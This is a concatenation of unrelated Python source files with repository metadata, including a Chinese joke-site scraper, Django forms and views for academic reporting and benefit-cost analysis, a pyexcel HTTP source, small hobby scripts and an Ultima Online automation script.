# 抓取嗅事百科的段子 import sys sys.path.append('..') from cobweb.downloader import * from cobweb.parser import * import time import re def parse_joke(self): data = self.soup.find_all('div', class_='article block untagged mb15') content_pattern = re.compile("<div.*?content\">(.*?).*?</div>", re.S) self.content = [] for d in data: soup_d = BeautifulSoup(str(d), 'html.parser', from_encoding='utf8') # 用户名 name = soup_d.h2.string # 内容（内容+时间&图片） c = soup_d.find('div', class_='content') # content = str(c.contents[0]).strip('\n') # timestamp = str(c.contents[1]) re1 = content_pattern.findall(str(c)) content = re1[0][0].strip('\n').replace(' ', '\n') timestamp = re1[0][1] img = soup_d.find('div', class_='thumb') if img: img_src = img.contents[1].contents[1]['src'] content += "[img: %s]" % str(img_src) # 点赞数 like = soup_d.find('i', class_='number').string j = "name: %s\ncontent: %s\ntime: %s\nlike: %s" % (str(name), content, time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(int(timestamp))), str(like)) self.content.append(j) return self class Sxbk: def __init__(self): self.page = 1 self.url = 'http://www.qiushibaike.com/hot/page/' self.joke_lists = [] self.enable = True self.downloader = Downloader() self.parse = Parser(None, parse_joke) # 下载页面 def get_page(self, num=1): return self.downloader.get(self.url + str(num), header={ 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' }, timeout=50) # 解析段子到 list def gen_jokes(self, html): self.parse.set_html(html) self.joke_lists += self.parse.parse_content().get_content() # start def start(self): print('按回车开始...') while self.enable: n = input() if n == 'q': exit() if len(self.joke_lists) < 2: html = self.get_page(self.page) self.gen_jokes(html) self.page += 1 print(self.joke_lists[0]) del self.joke_lists[0] s = Sxbk() s.start()

[ "jiangyang33@gmail.com" ]

jiangyang33@gmail.com

7e62bd4245f803eee240c0e728aa73886ec8b2f4

da9753df623ce9aeec9bebc8391ad8287b1732d9

/AACForm/makeReports/forms/admin_forms.py

fd41beb3ad3201f4fef673206822363f3ab67d36

[]

no_license

jdboyd-github/AAC-Capstone

2caa840bb4a6986c6f96130b67b1a77b6a0a12fd

472a6fd487811002a60a7812ae2eef941e7182cc

refs/heads/master

2023-05-24T05:42:15.632005

2021-03-25T18:47:21

null

0

null

UTF-8

Python

false

9,940

py

""" This file contains forms to administer the website """ from django import forms from makeReports.models import ( Announcement, College, DegreeProgram, Department, GradGoal, Report, Rubric ) from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.models import User from django_summernote.widgets import SummernoteWidget from makeReports.choices import POSSIBLE_REQS from .cleaners import CleanSummer class UpdateUserForm(forms.Form): """ Form to update a pre-existing user by the AAC """ aac = forms.BooleanField(label="AAC member",required=False) department = forms.ModelChoiceField(queryset=Department.active_objects.all().order_by("name"), label="Department", required=False,widget=forms.Select(attrs={'class':'form-control col-6'})) first_name = forms.CharField(max_length=30,widget=forms.TextInput(attrs={'class':'form-control col-6'})) last_name = forms.CharField(max_length=150,widget=forms.TextInput(attrs={'class':'form-control col-6'})) email = forms.CharField(max_length=30,widget=forms.EmailInput(attrs={'class':'form-control col-6'})) class UserUpdateUserForm(forms.Form): """ Form to update a user by the user themselves (fewer permissions) """ first_name = forms.CharField(max_length=30, widget=forms.TextInput(attrs={'class':'form-control col-6'})) last_name = forms.CharField(max_length=150, widget=forms.TextInput(attrs={'class':'form-control col-6'})) email = forms.CharField(max_length=30, widget=forms.EmailInput(attrs={'class':'form-control col-6'})) class CreateDepartmentForm(forms.ModelForm): """ Form to create new department """ class Meta: """ Defines the model type, fields, and widgets for use by the ModelForm superclass """ model = Department fields = ['name', 'college'] widgets = { 'name': forms.TextInput(attrs={'class':'form-control col-6'}), 'college': forms.Select(attrs={'class':'form-control col-6'}) } def __init__(self,*args,**kwargs): """ Initializes the form and sets possible colleges to only those which are active """ super(CreateDepartmentForm,self).__init__(*args,**kwargs) self.fields['college'].queryset=College.active_objects.all().order_by("name") class GenerateReports(forms.Form): """ Form to generate reports """ year = forms.IntegerField(widget=forms.NumberInput(attrs={'class':'form-control col-6'})) rubric = forms.ModelChoiceField(queryset=Rubric.objects.order_by('-date'), widget=forms.Select(attrs={'class':'form-control col-6'})) class MakeNewAccount(UserCreationForm): """ Form for the AAC to make a new account """ isaac = forms.BooleanField(required=False, label="Account for AAC member?") department = forms.ModelChoiceField(queryset=Department.active_objects, label="Department", required=False,widget=forms.Select(attrs={'class':'form-control col-6'})) college = forms.ModelChoiceField(queryset=College.active_objects.all().order_by("name"), label="College",required=False,widget=forms.Select(attrs={'class':'form-control col-6'})) class Meta: """ Defines the model type, fields, and widgets for use by the superclass ModelForm when creating the form """ model = User fields = ['email','username','password1','password2','isaac','first_name','last_name'] widgets = { 'email': forms.EmailInput(attrs={'class':'form-control col-6'}), 'username': forms.TextInput(attrs={'class':'form-control col-6'}), 'password1': forms.PasswordInput(attrs={'class':'form-control col-6'}), 'password2': forms.PasswordInput(attrs={'class':'form-control col-6'}), 'first_name': forms.TextInput(attrs={'class':'form-control col-6'}), 'last_name': forms.TextInput(attrs={'class':'form-control col-6'}) } def is_valid(self): valid = super().is_valid() if not valid: return valid if ( self.cleaned_data["college"] and self.cleaned_data["college"]!="" ) and ( not self.cleaned_data["department"] or self.cleaned_data["department"]=="" ): self._errors["department"]="If a college is specified, a department must also be specified." return False return True def save(self, commit=True): """ Upon creating a new user, both the Django User type and custom profile type must be created Keyword Args: commit (bool) : whether to actually save user to database Returns: user, profile : user and profile created """ user = super(MakeNewAccount, self).save(commit=True) profile = user.profile profile.aac = self.cleaned_data['isaac'] profile.department=self.cleaned_data['department'] user.save() profile.save() return user, profile class AnnouncementForm(CleanSummer,forms.ModelForm): """ Form to create announcement by AAC """ text = forms.CharField(widget=SummernoteWidget(attrs={'style':'width:750px'}),label="Announcement") summer_max_length = 2000 class Meta: """ Defines the model type, widgets, and fields for use by the ModelForm superclass to build the form """ model = Announcement widgets = { 'expiration': forms.SelectDateWidget(), } fields = ['text','expiration'] class GradGoalForm(CleanSummer,forms.ModelForm): """ Form to create new graduate goal """ text = forms.CharField(widget=SummernoteWidget(attrs={'style':'width:750px'}),label="Goal text: ") summer_max_length = 600 class Meta: """ Defines the model type and fields for the ModelForm superclass to use to build the form """ model = GradGoal fields = ['text'] class GradGoalEditForm(CleanSummer,forms.ModelForm): """ Form to create edit graduate goal, including possibly archiving it """ text = forms.CharField(widget=SummernoteWidget(attrs={'style':'width:750px'}),label="Goal text: ") summer_max_length = 600 class Meta: """ Defines the model type and fields for the ModelForm superclass to use to build the form """ model = GradGoal fields = ['active','text'] class CreateReportByDept(forms.ModelForm): """ Form to create new report via a link that already gives department (but not degree program) """ class Meta: """ Defines the model type, fields, labels, and widgets for the superclass ModelForm to use to build the form. """ model = Report fields = ['year', 'degreeProgram'] labels = { 'degreeProgram': "Degree Program" } widgets = { 'year': forms.NumberInput(attrs={'class':'form-control col-6'}), 'degreeProgram': forms.Select(attrs={'class':'form-control col-6'}) } def __init__(self,*args,**kwargs): """ Initializes form, sets the degree program options by the keyword argument and sets rubric options Keyword Args: dept (Department): department object to pick degree programs from """ dept = Department.objects.get(pk=kwargs.pop('dept')) super(CreateReportByDept, self).__init__(*args, **kwargs) self.fields['degreeProgram'].queryset = DegreeProgram.objects.filter(department=dept) self.fields['rubric'] = forms.ModelChoiceField(queryset=Rubric.objects.all().order_by("-date")) class CreateReportByDPForm(forms.ModelForm): """ Form to create report where degree program is already picked """ class Meta: """ Defines the model type, fields and widgets for the ModelForm superclass to use to build the form """ model = Report fields = ['year'] widgets = { 'year': forms.NumberInput(attrs={'class':'form-control col-6'}) } def __init__(self,*args,**kwargs): """ Initializes form and sets rubric options """ super(CreateReportByDPForm,self).__init__(*args,**kwargs) self.fields['rubric'] = forms.ModelChoiceField(queryset=Rubric.objects.all().order_by("-date")) class CreateDPByDept(forms.ModelForm): """ Form to create degree program where department is given """ class Meta: """ Defines the model, fields, labels, and widgets for the ModelForm superclass to use to make a form """ model = DegreeProgram fields = ['name','level','cycle','startingYear'] labels = { 'name': "Name", 'level': "Level", 'cycle': "Number of years between automatically assigned reports (put 0 or leave blank if there is no regular cycle)", 'startingYear': "The first year report is assigned for cycle (leave blank if no cycle)" } widgets = { 'name': forms.TextInput(attrs={'class':'form-control col-6'}), 'level': forms.Select(attrs={'class':'form-control col-4'}), 'cycle': forms.NumberInput(attrs={'class':'form-control col-3','placeholder':'Cycle length'}), 'startingYear': forms.NumberInput(attrs={'class':'form-control col-3', 'placeholder':'Starting year'}) } class RequiredReportFieldsForm(forms.Form): """ Form to change which fields are required to submit a report """ def __init__(self, *args, **kwargs): """ Creates the form fields from the list in POSSIBLE_REQS (from choices) """ super().__init__(*args,**kwargs) for req in POSSIBLE_REQS: self.fields[req[0]] = forms.BooleanField(required=False, label=req[1])

[ "smccarty@unomaha.edu" ]

smccarty@unomaha.edu

de67995034fb569460fc19fdaa1b4c239db4d86d

01edd1a8172ef0bac49e3bf33b590e5c21b61b12

/pyexcel/plugins/sources/http.py

50e27c57f3c6e9a3778f92c7b105c9874c1945d4

[ "BSD-3-Clause" ]

permissive

stephenrauch/pyexcel

89dc2868fc8f64bd6ec5eec30a0e2e8060e43fc0

9e4b5645e8639e874f46f7d3d846c13524f5e3e2

refs/heads/master

2020-12-31T00:30:39.208207

2017-03-28T23:36:32

null

0

null

UTF-8

Python

false

1,790

py

""" pyexcel.source.http ~~~~~~~~~~~~~~~~~~~ Representation of http sources :copyright: (c) 2015-2017 by Onni Software Ltd. :license: New BSD License """ from pyexcel._compact import request, PY2 from pyexcel.source import Source import pyexcel.constants as constants import pyexcel.internal.parser_meta as parsers from . import params _xlsx = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" FILE_TYPE_MIME_TABLE = { "text/csv": "csv", "text/tab-separated-values": "tsv", "application/vnd.oasis.opendocument.spreadsheet": "ods", "application/vnd.ms-excel": "xls", _xlsx: "xlsx", "application/vnd.ms-excel.sheet.macroenabled.12": "xlsm" } class HttpSource(Source): """ Multiple sheet data source via http protocol """ fields = [params.URL] targets = (constants.SHEET, constants.BOOK) actions = (constants.READ_ACTION,) attributes = [params.URL] key = params.URL def __init__(self, url=None, **keywords): self.__url = url self.__keywords = keywords def get_data(self): f = request.urlopen(self.__url) info = f.info() if PY2: mime_type = info.type else: mime_type = info.get_content_type() file_type = FILE_TYPE_MIME_TABLE.get(mime_type, None) if file_type is None: file_type = _get_file_type_from_url(self.__url) parser = parsers.get_parser(file_type) content = f.read() sheets = parser.parse_file_content(content, **self.__keywords) return sheets def get_source_info(self): return self.__url, None def _get_file_type_from_url(url): extension = url.split('.') return extension[-1]

[ "wangc_2011@hotmail.com" ]

wangc_2011@hotmail.com

1d76b76cbfbfd483677ffc3702ea97a576b759e2

c661708813284f1b9059d8e2aac796d8eb9f9a66

/LED-Projects/blinkSignal.py

dfe61279606125184474400d936b66850d62cf86

[]

no_license

KatieKrupczak/Raspberry-Pi-Projects

1a48a0cdb479f70920ad03e457be19e911ef9a5d

ef3d616c93f21f55d192f24f7771ccf21343acf6

refs/heads/main

2023-07-02T04:44:29.263592

2021-08-10T20:50:41

385,388,767

0

null

UTF-8

Python

false

91

py

from gpiozero import LED from signal import pause red = LED(2) red.blink(0.5,0.5) pause()

[ "katie@krupczak.org" ]

katie@krupczak.org

32b7842be9c70645a3fed1f06460c58442dff64c

273f94d2707ef91104c74cb3de67a4d3049b3308

/10_decorator/adder.py

f24bb0db65783fd169e6a9eb07d32f73cc0bc8fa

[]

no_license

sonicfrog-z/python_practice

b1ff8f22bff7c6f873afcb5b8c0fb9aa3d27ce50

62b7f094b235204c12566078b40c84938632b192

refs/heads/master

2020-09-29T11:28:35.484429

2019-12-25T04:57:36

227,029,845

0

null

UTF-8

Python

false

241

py

class Adder: def __init__(self, base): self._base = base def __call__(self, value): return self._base + value if __name__ == '__main__': adder5 = Adder(5) print(adder5(10)) print(adder5(3))

[ "noreply@github.com" ]

sonicfrog-z.noreply@github.com

135c752690ac2102b5014d59703e71a4b285792d

9743d5fd24822f79c156ad112229e25adb9ed6f6

/xai/brain/wordbase/verbs/_circumscribed.py

855995f3ac2c7fd589f34f7fe49081d6facfa5ce

[ "MIT" ]

permissive

cash2one/xai

de7adad1758f50dd6786bf0111e71a903f039b64

e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6

refs/heads/master

2021-01-19T12:33:54.964379

2017-01-28T02:00:50

null

0

null

UTF-8

Python

false

280

py

from xai.brain.wordbase.verbs._circumscribe import _CIRCUMSCRIBE #calss header class _CIRCUMSCRIBED(_CIRCUMSCRIBE, ): def __init__(self,): _CIRCUMSCRIBE.__init__(self) self.name = "CIRCUMSCRIBED" self.specie = 'verbs' self.basic = "circumscribe" self.jsondata = {}

[ "xingwang1991@gmail.com" ]

xingwang1991@gmail.com

d1d059fd1b5afce933aad5bebd15a1c4f23d5d84

0a86a749db830a4e37ea56bee5b85608f362f9ca

/src/todo/views.py

4294bac19360252e0e4a36e13326398b5e6d3e4b

[]

no_license

kalpitan/todobackend

ce1f5135055098f8edbc0ed98112e7b0bf7f3a60

d7ef3cf878309cb0ecbf5e950960012a6241342c

refs/heads/master

2020-06-11T04:43:24.146800

2016-12-10T09:16:49

76,102,365

0

null

UTF-8

Python

false

813

py

from django.shortcuts import render from todo.models import TodoItem from todo.serializers import TodoItemSerializer from rest_framework import status from rest_framework import viewsets from rest_framework.reverse import reverse from rest_framework.decorators import list_route from rest_framework.response import Response # Create your views here. class TodoItemViewSet(viewsets.ModelViewSet): queryset = TodoItem.objects.all() serializer_class = TodoItemSerializer def perform_create(self, serializer): instance = serializer.save() instance.url = reverse('todoitem-detail', args=[instance.pk], request=self.request) instance.save() def delete(self, request): TodoItem.objects.all().delete() return Response(status.HTTP_204_NO_CONTENT)

[ "kalpitan@gmail.com" ]

kalpitan@gmail.com

caed78d6766fc3bd1951a808d82dd3a22ab5f2b2

cec0f1c7425c1cfcfefdae67d99ab5d14e37c34c

/Butler/ButlerHelper.py

8b184bbf7aa044baa7dcd557ed26846c65481b4e

[]

no_license

SaintDismas1/Scripts

7e2ec1feebec14d343adb62cdc57318f23eea3f2

cd4a89e3e9b8f8a53979f607e366059fd209ee18

refs/heads/master

2023-08-02T19:29:25.050839

2021-09-15T12:37:18

407,970,818

0

null

UTF-8

Python

false

8,602

py

# ButlerHelper by Spatchel & Matsamilla # use with ButlerProfiles.py for best results, update butlerID with butler serial below # Last updated 3/16/21 - # •Cap option # •Wont grab armor if layer is occupied # •Stops if butler not found # •Waits until in range of butler ########################################################### # Add your butlers serial below # ########################################################### butlerID = 0x0029C3D1 #add your butler serial here ########################################################### # Option to equip armor, bag regs & bag pots below # ########################################################### from System.Collections.Generic import List import sys # 4 = equip armor, 5 = bag regs, 6 = bag pots (switch = List[int]([0,4,5,6]) would do all switch = List[int]([0,4]) ########################################################### # If you dont run ButlerProfiles.py, this will load # ########################################################### regs = 50 # default reg count if not profile armor = 0 # default armor, 0=no 1=yes cap = 0 # cap in default profile, 0=no 1=yes bandies = 100 # default bandage count arrows = 0 bolts = 0 ######## NO TOUCHY BELOW THIS ############################# butler = Mobiles.FindBySerial(butlerID) randomPause = 150 player_bag = Items.FindBySerial(Player.Backpack.Serial) if butler == None: Player.HeadMessage(33, 'Butler not found, stoppling') sys.exit() while Player.DistanceTo(butler) > 2.5: if Timer.Check('butler') == False: Mobiles.Message(butler,33, 'Come closer to restock.') Timer.Create('butler',2500) #moss if Misc.CheckSharedValue('moss'): moss6 = Misc.ReadSharedValue('moss') else: moss6 = regs #ash count if Misc.CheckSharedValue('ash'): ash7 = Misc.ReadSharedValue('ash') else: ash7 = regs # root count if Misc.CheckSharedValue('root'): root8 = Misc.ReadSharedValue('root') else: root8 = regs # pearl count if Misc.CheckSharedValue('pearl'): pearl9 = Misc.ReadSharedValue('pearl') else: pearl9 = regs #nightshade count if Misc.CheckSharedValue('shade'): shade10 = Misc.ReadSharedValue('shade') else: shade10 = regs # Ginseng count if Misc.CheckSharedValue('ginseng'): ginseng11 = Misc.ReadSharedValue('ginseng') else: ginseng11 = regs # Garlic Count if Misc.CheckSharedValue('garlic'): garlic12 = Misc.ReadSharedValue('garlic') else: garlic12 = regs # Silk Count if Misc.CheckSharedValue('silk'): silk13 = Misc.ReadSharedValue('silk') else: silk13 = regs # armor cap if Misc.CheckSharedValue('cap'): cap0 = Misc.ReadSharedValue('cap') else: cap0 = cap # Armor if Misc.CheckSharedValue('armor'): armorS = Misc.ReadSharedValue('armor') gorget1 = armorS sleeves2 = armorS gloves3 = armorS tunic4 = armorS legs5 = armorS else: cap0 = cap gorget1 = armor sleeves2 = armor gloves3 = armor tunic4 = armor legs5 = armor # Check if layer is taken, dont grab armor if is layers = [ ('Head',0),('Neck',1), ('Arms',2), ('Gloves',3),('InnerTorso',4),('Pants',5) ] for i in layers: if Player.CheckLayer(i[0]): if i[1] == 0: cap0 = 0 elif i[1] == 1: gorget1 = 0 elif i[1] == 2: sleeves2 = 0 elif i[1] == 3: gloves3 = 0 elif i[1] == 4: tunic4 = 0 elif i[1] == 5: legs5 = 0 # Explode Pots Count if Misc.CheckSharedValue('exp'): exp14 = Misc.ReadSharedValue('exp') else: exp14 = 0 # Strength Pots Count if Misc.CheckSharedValue('str'): str15 = Misc.ReadSharedValue('str') else: str15 = 0 # Refresh Pots Count if Misc.CheckSharedValue('refresh'): refresh16 = Misc.ReadSharedValue('refresh') else: refresh16 = 0 # Agility Pots Count if Misc.CheckSharedValue('agil'): agi17 = Misc.ReadSharedValue('agil') else: agi17 = 0 # Heal Pots Count if Misc.CheckSharedValue('heal'): heal18 = Misc.ReadSharedValue('heal') else: heal18 = 0 # Cure Pots Count if Misc.CheckSharedValue('cure'): cure19 = Misc.ReadSharedValue('cure') else: cure19 = 0 # Bandages Pots Count if Misc.CheckSharedValue('bandies'): bandages20 = Misc.ReadSharedValue('bandies') else: bandages20 = bandies # Arrows if Misc.CheckSharedValue('arrows'): arrows24 = Misc.ReadSharedValue('arrows') else: arrows24 = arrows # Bolts if Misc.CheckSharedValue('bolts'): bolts25 = Misc.ReadSharedValue('bolts') else: bolts25 = bolts def dumpBottles(): for i in player_bag.Contains: if i.ItemID == 0x0F0E: Items.Move(i, butlerID, 0) Misc.Pause(600) def butler(): global saveSwitch Mobiles.UseMobile(butlerID) Gumps.WaitForGump(989312372, 2000) if Gumps.LastGumpTextExist( 'Remove Leather Tub?' ): Misc.SendMessage('Leather Tub Detected') saveSwitch = 5 withdrawSwitch = 8 else: saveSwitch = 3 withdrawSwitch = 6 #################### Armor ####################################### textid = List[int]([0]) text = List[str]([str(cap0)]) saveProfile(textid, text) textid = List[int]([1]) text = List[str]([str(gorget1)]) saveProfile(textid, text) textid = List[int]([2]) text = List[str]([str(sleeves2)]) saveProfile(textid, text) textid = List[int]([3]) text = List[str]([str(gloves3)]) saveProfile(textid, text) textid = List[int]([4]) text = List[str]([str(tunic4)]) saveProfile(textid, text) textid = List[int]([5]) text = List[str]([str(legs5)]) saveProfile(textid, text) #################### REGS ####################################### # Moss textid = List[int]([6]) text = List[str]([str(moss6)]) saveProfile(textid, text) #Ash textid = List[int]([7]) text = List[str]([str(ash7)]) saveProfile(textid, text) #Root textid = List[int]([8]) text = List[str]([str(root8)]) saveProfile(textid, text) #Pearl textid = List[int]([9]) text = List[str]([str(pearl9)]) saveProfile(textid, text) #Nightshade textid = List[int]([10]) text = List[str]([str(shade10)]) saveProfile(textid, text) #Ginseng textid = List[int]([11]) text = List[str]([str(ginseng11)]) saveProfile(textid, text) #garlic textid = List[int]([12]) text = List[str]([str(garlic12)]) saveProfile(textid, text) #SpidersSilk textid = List[int]([13]) text = List[str]([str(silk13)]) saveProfile(textid, text) #################### Potions ################################### #explode textid = List[int]([14]) text = List[str]([str(exp14)]) saveProfile(textid, text) #Strength textid = List[int]([15]) text = List[str]([str(str15)]) saveProfile(textid, text) #Refresh textid = List[int]([16]) text = List[str]([str(refresh16)]) saveProfile(textid, text) #Agility textid = List[int]([17]) text = List[str]([str(agi17)]) saveProfile(textid, text) #Heal textid = List[int]([18]) text = List[str]([str(heal18)]) saveProfile(textid, text) #Cure textid = List[int]([19]) text = List[str]([str(cure19)]) saveProfile(textid, text) #################### Bandages ################################### textid = List[int]([20]) text = List[str]([str(bandages20)]) saveProfile(textid, text) #################### Petals ##################################### textid = List[int]([23]) text = List[str]([str(0)]) saveProfile(textid, text) textid = List[int]([24]) text = List[str]([str(arrows24)]) saveProfile(textid, text) #################### Arrows/Bolts ############################### textid = List[int]([25]) text = List[str]([str(bolts25)]) saveProfile(textid, text) Gumps.WaitForGump(989312372, 2000) #Gumps.SendAction(989312372, withdrawSwitch) Gumps.SendAdvancedAction(989312372, withdrawSwitch, switch) def saveProfile(textid, text): if Gumps.CurrentGump() != 989312372: tempGump = Gumps.CurrentGump() Gumps.CloseGump(tempGump) Mobiles.UseMobile(butlerID) Gumps.WaitForGump(989312372, 2000) Gumps.SendAdvancedAction(989312372, saveSwitch, switch, textid, text) Misc.Pause(randomPause) dumpBottles() butler()

[ "noreply@github.com" ]

SaintDismas1.noreply@github.com

1c8f449c5acc848b57e4a84f8e91b355a581523f

9ae2918854d208780e247e5477b396bc99642ce6

/001-010/002.py

29bdb561039d50ca0f4d7312f4c3a10302c03eb3

[ "MIT" ]

permissive

KKishikawa/project-euler-for-study-code

3ff45aadc5886dd8ff800fb3f81e0bffc943d3b8

fd46f1ee3211b5daa6d042cc993e55f631c9caac

refs/heads/master

2020-03-27T13:16:43.863976

2018-09-29T19:43:30

146,600,216

0

MIT

2018-09-29T19:43:31

2018-08-29T12:58:55

JavaScript

UTF-8

Python

false

135

py

num1 = 1 num2 = 2 sum = 0 while num2 <= 4_000_000: if num2 % 2 == 0: sum += num2 num1, num2 = num2, (num1 + num2) print(sum)

[ "noreply@github.com" ]

KKishikawa.noreply@github.com

ce0bd4c4c561ed183c1da959ce765b324b251aeb

aaccadb5c766fa876b27ff6f2ac2a093f1ebb0c6

/arm/злые эксперименты/гыгага.py

9642b68a27ec65624da66bcc338173ec13cc8cd1

[]

no_license

IvanLkt/Project_Copter

d1e6e6fcdb657a2b94342fb0be83f45e3385244f

db025dcd6ff49b12857ec2de010847a65504d881

refs/heads/master

2021-06-17T16:04:01.296310

2017-05-24T15:28:10

null

0

null

UTF-8

Python

false

511

py

# -*- coding: utf-8 -*- import pylab from mpl_toolkits.mplot3d import Axes3D import numpy file = open("data.txt", "r") data = [map(float, line.split("\t")) for line in file] def makeData(): (x,y,z) = (data[0::3],data[1::3],data[2::3]) return x, y, z if __name__ == '__main__': x, y, z = makeData() fig = pylab.figure() axes = Axes3D(fig) axes.plot_trisurf(x, y, z) pylab.xlim(x.min(), x.max()) pylab.ylim(y.min(), y.max()) pylab.show()

[ "noreply@github.com" ]

IvanLkt.noreply@github.com

cba9fbb59dfa10a6e62ead5047d6642ff8fd5631

6dfe292a8fe86782108c92dcb4ea9736b3062852

/setup.py

147a3ec8b2d9dbdc21634cdeff44988e60d9fe2e

[]

no_license

goldenberg/mnistified

30149568598214a147208c7c217f6eda66df24cb

0e30004200c5dca646a91f4701747f157908b851

refs/heads/master

2020-04-06T04:41:51.375585

2017-02-23T01:58:07

82,869,415

0

null

UTF-8

Python

false

341

py

from setuptools import setup def parse_requirements(filename): with open(filename) as f: return f.readlines() setup( name='mnistified', packages=['mnistified'], include_package_data=True, install_requires=parse_requirements('requirements.txt'), test_requires=parse_requirements('requirements_test.txt'), )

[ "bgoldenberg@enlitic.com" ]

bgoldenberg@enlitic.com

3e402b27515948d8ca5ba1cbffd6e8d5b25d05d1

a3ac8c00caa7f755ede8b9575d876b24a031efdb

/web/analysis/views.py

7ad2f057287b6a3b55d7ce499fc2ef67f29297c4

[]

no_license

pschmied/benefit-cost-analysis

0b14e43ccec5de5aa87a06c36c103312d0651465

5659570fcc2a3bcc3f559c1e2747e80f4c00216e

refs/heads/master

2020-12-25T18:18:20.533731

2013-04-29T14:39:57

null

0

null

UTF-8

Python

false

43,279

py

from django.http import HttpResponseRedirect, HttpResponse from django.shortcuts import render_to_response from psrc.analysis.models import * from psrc.analysis.calculations import * from psrc.analysis.forms import * from django import newforms as forms from string import join, replace from datetime import datetime import csv def commify(num, separator=','): """commify(num, separator) -> string Return a string representing the number num with separator inserted for every power of 1000. Separator defaults to a comma. E.g., commify(1234567) -> '1,234,567' """ num = '%.0f' %(num) # just in case we were passed a numeric value more_to_do = 1 while more_to_do: (num, more_to_do) = regex.subn(r'\1%s\2' % separator,num) return num # Create your views here. def analysis_router(request, next='main', use_function=True): """ router for the application """ # sends a redirect back to home if something is wack about the session #checksession = _check_session(request) #if not checksession[0]: return checksession[1] views = { 'main':{'view':main, 'functions':['_update_analysis','_calculate_results']}, 'time':{'view':time, 'functions':['_edit_time','_update_time']}, 'distance':{'view':distance, 'functions':['_edit_distance','_update_distance']}, 'accidents':{'view':accidents, 'functions':['_edit_safety','_update_safety']}, 'emissions':{'view':emissions, 'functions':['_edit_emissions','_update_emissions']}, 'unreliability':{'view':unreliability, 'functions':['_edit_unreliability','_update_unreliability']}, 'main_report':{'view':main_report, 'functions':['_get_main_report']}, 'benefit_type_report':{'view':benefit_type_report, 'functions':['_get_benefit_type_report']}, 'tod_report':{'view':tod_report, 'functions':['_get_tod_report']}, 'user_class_report':{'view':user_class_report, 'functions':['_get_user_class_report']}, 'emissions_report':{'view':emissions_report, 'functions':['_get_emissions_report']}, 'safety_report':{'view':safety_report, 'functions':['_get_safety_report']}, } view = views[next]['view'] if use_function and request.method == 'POST': for v in views: for f in views[v]['functions']: if f in request.POST: view = views[v]['view'] # calls the function specified in the views dict and passes request to it #if request.method == 'POST' and 'frompage' in request.POST: # for i in views.keys(): # if i in request.POST: # next = views[i] #else: # next = 'main' return view(request) def home(request): return render_to_response( 'home.html',{ } ) def main(request): try: analysis = Analysis.objects.get(id=request.session.get('analysis_id')) except: # brand new session analysis = Analysis() #save defaults to analysis analysis.region = Region.objects.get(pk=1) defaults = {} defaults_temp = Default.objects.all().values() for i in defaults_temp: defaults[i['field']] = i['value'] for i in Analysis._meta.fields: if defaults.has_key(i.name): setattr(analysis,i.name, defaults[i.name]) analysis.save() request.session['analysis_id'] = analysis.id #save tod defaults tod_defaults = TODDefault.objects.all().values() for i in tod_defaults: analysis_tod = AnalysisTOD() analysis_tod.analysis = analysis for j in TODDefault._meta.fields: if j.name != 'id': setattr(analysis_tod, j.name, i[j.name]) analysis_tod.save() #save accident defaults accident_defaults = AccidentDefault.objects.all().values() for i in accident_defaults: accident_input = AccidentInput() accident_input.analysis = analysis for j in AccidentDefault._meta.fields: if j.name != 'id': setattr(accident_input, j.name, i[j.name]) accident_input.save() #accident_value_defaults = AccidentValueDefault.objects.all().values() #for i in accident_value_defaults: # accident_value_input = AccidentValueInput() # accident_value_input.analysis = analysis # accident_value_input.property_damage_only = # accident_value_input.injury = # accident_value_input.fatality = #save emission defaults emission_defaults = EmissionDefault.objects.all().values() for i in emission_defaults: emission_input = EmissionInput() emission_input.analysis = analysis for j in EmissionDefault._meta.fields: if j.name != 'id': if j.name == 'pollutant': setattr(emission_input, 'pollutant_id', i['pollutant_id']) else: setattr(emission_input, j.name, i[j.name]) emission_input.save() pollutants = Pollutant.objects.all() for i in pollutants: emission_cost_input = EmissionCostInput() emission_cost_input.analysis = analysis emission_cost_input.pollutant = i emission_cost_input.cost = i.cost emission_cost_input.save() # get household from session household_id analysis = Analysis.objects.get(id=request.session.get('analysis_id')) analysis_dict = analysis.__dict__ if analysis_dict['out_year']: analysis_dict['scenario'] = "%s_%s_%s" %(analysis_dict['scenario'], analysis_dict['scenario'].split('_')[0], analysis_dict['out_year']) form = AnalysisFormMain(initial=analysis_dict) updated = False if (request.method == 'POST' and ( '_update_analysis' in request.POST or '_calculate_results' in request.POST or '_edit_time' in request.POST or '_edit_distance' in request.POST or '_edit_safety' in request.POST or '_edit_emissions' in request.POST)): #validate input form = AnalysisFormMain(request.POST) if form.is_valid(): user_scenario = form.cleaned_data['scenario'] user_scenario_spl = user_scenario.split('_') if len(user_scenario_spl) > 2: analysis.scenario = user_scenario_spl[0] + '_' + user_scenario_spl[1] analysis.out_year = int(user_scenario_spl[3][:4]) else: analysis.scenario = user_scenario analysis.out_year = None #analysis.scenario = form.cleaned_data['scenario'] analysis.region = form.cleaned_data['region_id'] analysis.title = form.cleaned_data['title'] analysis.analyst_name = form.cleaned_data['analyst_name'] analysis.inflation_rate = form.cleaned_data['inflation_rate'] analysis.fraction_of_base = form.cleaned_data['fraction_of_base'] analysis.real_discount_rate = form.cleaned_data['real_discount_rate'] analysis.growth_rate = form.cleaned_data['growth_rate'] #analysis.out_year = form.cleaned_data['out_year'] analysis.end_year = form.cleaned_data['end_year'] analysis.save() updated = True if '_calculate_results' in request.POST: #run calcs calc_basic(analysis.id) calc_emissions(analysis.id) calc_accidents(analysis.id) if analysis.out_year: calc_basic(analysis.id, dynamic=1) calc_emissions(analysis.id, dynamic=1) calc_accidents(analysis.id, dynamic=1) interpolate(analysis.id) if analysis.region.id != 1: calc_basic(analysis.id, all_regions = 0) if analysis.out_year: calc_basic(analysis.id, all_regions = 0) return analysis_router(request, next='main_report', use_function=False) elif '_edit_time' in request.POST: return analysis_router(request, next='time') elif '_edit_distance' in request.POST: return analysis_router(request, next='distance') elif '_edit_safety' in request.POST: return analysis_router(request, next='accidents') elif '_edit_emissions' in request.POST: return analysis_router(request, next='emissions') return render_to_response( 'main.html',{ 'form':form, 'updated':updated, } ) def time(request): #analysis = Analysis.objects.get(id=request.session.get('analysis_id')) #form = TimeForm(initial=analysis.__dict__) #updated = False #if (request.method == 'POST' and ('_update_time' in request.POST)): # #validate input # form = TimeForm(request.POST) # if form.is_valid(): # analysis.hbw_drive_income_1 = form.cleaned_data['hbw_drive_income_1'] # 